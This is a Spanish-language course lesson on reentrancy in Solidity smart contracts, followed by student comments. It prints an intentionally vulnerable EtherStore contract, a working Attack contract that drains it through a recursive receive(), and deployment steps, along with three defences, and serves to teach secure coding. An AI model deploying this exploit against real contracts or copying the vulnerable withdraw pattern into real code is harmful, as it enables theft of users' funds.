Reentrancy simple: ataca a una función especifica llamandola nuevamente antes de cerra su ejecución, creando un ciclo hasta vaciar la cuenta.
Introducción
Importancia de la seguridad en el desarrollo de contratos
Buenas prácticas
Vulnerabilidades con variables globales
Identificación del usuario: problema con tx.origin
Dependencia con timestamp
Vulnerabilidades del almacenamiento
Overflow y underflow
Variables privadas
Problemas con llamadas externas
DelegateCall
Gas insuficiente en Solidity
Ataques con transferencias
Forzar envío de Ethers
Reentrancy simple
Reentrancy cruzado
Denegación de servicio
Denegación por reversión
Denegación por límite de gas
Despedida
Desafío
Continúa aprendiendo
No tienes acceso a esta clase
¡Continúa aprendiendo! Únete y comienza a potenciar tu carrera
No se trata de lo que quieres comprar, sino de quién quieres ser. Aprovecha el precio especial.
Antes: $249
Paga en 4 cuotas sin intereses
Termina en:
Sebastián Leonardo Perez
El depósito y retiro de ETH en un contrato por parte de un usuario puede exponer vulnerabilidades si los mismos no se realizan de la forma correcta.
Uno de los problemas de seguridad más comunes es el denominado reetrancy que provoca llamadas recursivas a una misma función de un contrato hasta vaciar los fondos del mismo.
Veamos de qué se trata esta vulnerabilidad y cómo prevenirla a través de un simple ejemplo:
Utilizaremos de ejemplo un contrato inteligente que permite depositar y retirar ETH. Cada dirección solo puede retirar sus propios fondos, pero la vulnerabilidad permitirá que un atacante se quede con todos los fondos.
Nota: El ejemplo de esta vulnerabilidad fue tomado y adaptado originalmente de Solidity by examples.
Comencemos con el contrato principal que contiene la lógica de negocios para el depósito y retiro de Ether.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;
contract EtherStore {
mapping(address => uint) public balances;
// Deposito de ETH
function deposit() public payable {
balances[msg.sender] += msg.value;
}
// Retiro de ETH
function withdraw() public {
uint monto = balances[msg.sender];
require(monto > 0);
(bool sent, ) = msg.sender.call{value: monto}("");
require(sent, "El envio de ETH ha fallado.");
balances[msg.sender] = 0;
}
// Funciona auxiliar para visualizar el balance total del contrato
function getBalance() public view returns (uint) {
return address(this).balance;
}
}
Respecto al contrato atacante, presta atención a la función receive()
que es la vía por la cual se genera la recursividad y permite el robo de todos los fondos.
contract Attack {
EtherStore public etherStore;
constructor(address _etherStoreAddress) {
// Creamos la instancia de EtherStore.
etherStore = EtherStore(_etherStoreAddress);
}
// Función receive() es llamada cuando EtherStore envia ETH a este contrato.
receive() external payable {
// Al retirar el primer ETH, EtherStore lo enviará a este hook que vuelve a llamar a withdraw de forma recursiva
if (address(etherStore).balance >= 1 ether) {
etherStore.withdraw();
}
}
// El ataque consiste en depositar 1 ETH e inmediatamente retirarlo
function attack() external payable {
require(msg.value >= 1 ether);
etherStore.deposit{value: 1 ether}();
etherStore.withdraw();
}
// Funciona auxiliar para visualizar el balance total del contrato.
function getBalance() public view returns (uint) {
return address(this).balance;
}
}
EtherStore
.Attack
que recibe en el constructor la dirección de EtherStore
.Attack.attack
enviando 1 ETH con una tercera cuenta para tener acceso a realizar una extracción. El contrato atacante recibirá los 3 ETH.Consejo: te animo a que tú mismo despliegues los contratos en entornos como Remix para que explores la vulnerabilidad y veas que, efectivamente, el contrato atacante se queda con todos los fondos.
Attack
llamó a EtherStore.withdraw
múltiples veces antes de que EtherStore.withdraw
finalice su ejecución.
Así es el orden de llamados de las funciones:
Attack.attack
EtherStore.deposit
EtherStore.withdraw
Attack.receive()
(recibes 1 ETH)EtherStore.withdraw
Attack.receive()
(recibes 1 ETH)EtherStore.withdraw
Attack.receive()
(recibes 1 ETH)Al realizarse las llamadas de forma recursiva, el balance de la cuenta del atacante nunca llega a 0 y, por lo tanto, permite seguir haciendo retiros. Observa que el balance de la cuenta del contrato atacante se setea a 0 recién en la última línea de código de la función withdraw()
.
function withdraw() public {
uint monto = balances[msg.sender];
require(monto > 0);
(bool sent, ) = msg.sender.call{value: monto}("");
require(sent, "El envio de ETH ha fallado.");
balances[msg.sender] = 0;
}
Hay al menos tres medidas que puedes tomar para evitar este enorme problema de seguridad.
function withdraw() public {
uint monto = balances[msg.sender];
require(monto > 0);
balances[msg.sender] = 0; // Seteo del balance antes del 'msg.sender.call'
(bool sent, ) = msg.sender.call{value: monto}("");
require(sent, "El envio de ETH ha fallado.");
}
Corresponde setear a 0 el balance de la cuenta que retira sus fondos antes de realizar el llamado externo. En el caso de que el llamado falle por otro motivo, no te preocupes, ya que el require()
hará un revert()
y los balances volverán a como estaban antes del fallo.
(bool sent, ) = msg.sender.call{value: monto, gas: 10000}("");
Siempre es aconsejable configurar el gas disponible para un llamado externo.
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
contract EtherStore is ReentrancyGuard {
// ...
function withdraw() public nonReentrant {
// ...
}
}
Has visto hasta aquí la exigencia de desarrollar un contrato inteligente que administre correctamente fondos.
Un simple cambio de orden en la lógica de un contrato puede causar perdidas millonarias. Claro que ya las ha causado y, por este motivo, Reentrancy es una vulnerabilidad bien conocida que debes prevenir estudiando su funcionamiento y escribiendo código de forma segura.
Contribución creada por: *Kevin Fiorentino (Platzi Contributor).
Aportes 8
Preguntas 1
Reentrancy simple: ataca a una función especifica llamandola nuevamente antes de cerra su ejecución, creando un ciclo hasta vaciar la cuenta.
Comento algo no relacionado directamente con el curso, el sonido de la intro “platzi” esta bien, pero después se vuelve muy repetitivo escuchar siempre lo mismo.
Eso que a mi en lo particular me gusta el ASMR, pero llega un momento que ya es cansino.
Bueno eso simplemente.
Saludos.
La funcion de Re-entrada tiene la vulnerabilidad en la que un contrato A llama a un contrato B y el contrato B aprovecha la vulnerabilidad antes de que se produzca el cambio de estado de los fondos en el contrato A, el contrato B en ese tiempo re-llama al contrato A denuevo.
Técnicas Preventivas:
Aquí hay un ejemplo de un guardia de reingreso
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.10;
contract ReEntrancyGuard {
bool internal locked;
modifier noReentrant() {
require(!locked, "No re-entrancy");
locked = true;
_;
locked = false;
}
}
Es una lástima que haya simplificado tanto el código en el vídeo, porque no se entiende. La sección de recursos es mucho más detallada y funcional/realista. Él mismo explica muchos protocolos han sufrido este tipo de ataques y explicarlo en detalle añadiría mucho más valor por lo mayúsculo que es el tema.
Igual estoy aprendiendo full, gracias profe.
Otra forma de solucionar el Reentrancy es con un modifier que OpenZeppelin ya tiene auditado.
Me parece que este ataque fue muy famoso hace unos años y es la causa de la existencia de Ethereum Classic, en el libro: The Infinite Machine, habla que durante un periodo de Ethereum conocido como la guerra de las DAOs, muchas DAOs sucumbían ante este tipo de ataque, lo describe como retirar dinero de un cajero que se actualiza hasta que lo vacíes por completo.
La función receive()
es propia de Solidity y se puede implementar para que un contrato reciba llamadas o ETH. El contrato Atacante recibe llamadas a través de esa función, genera un bucle infinito y vacia los fondos del contrato principal.
REENTRANCY SIMPLE
¿Quieres ver más aportes, preguntas y respuestas de la comunidad?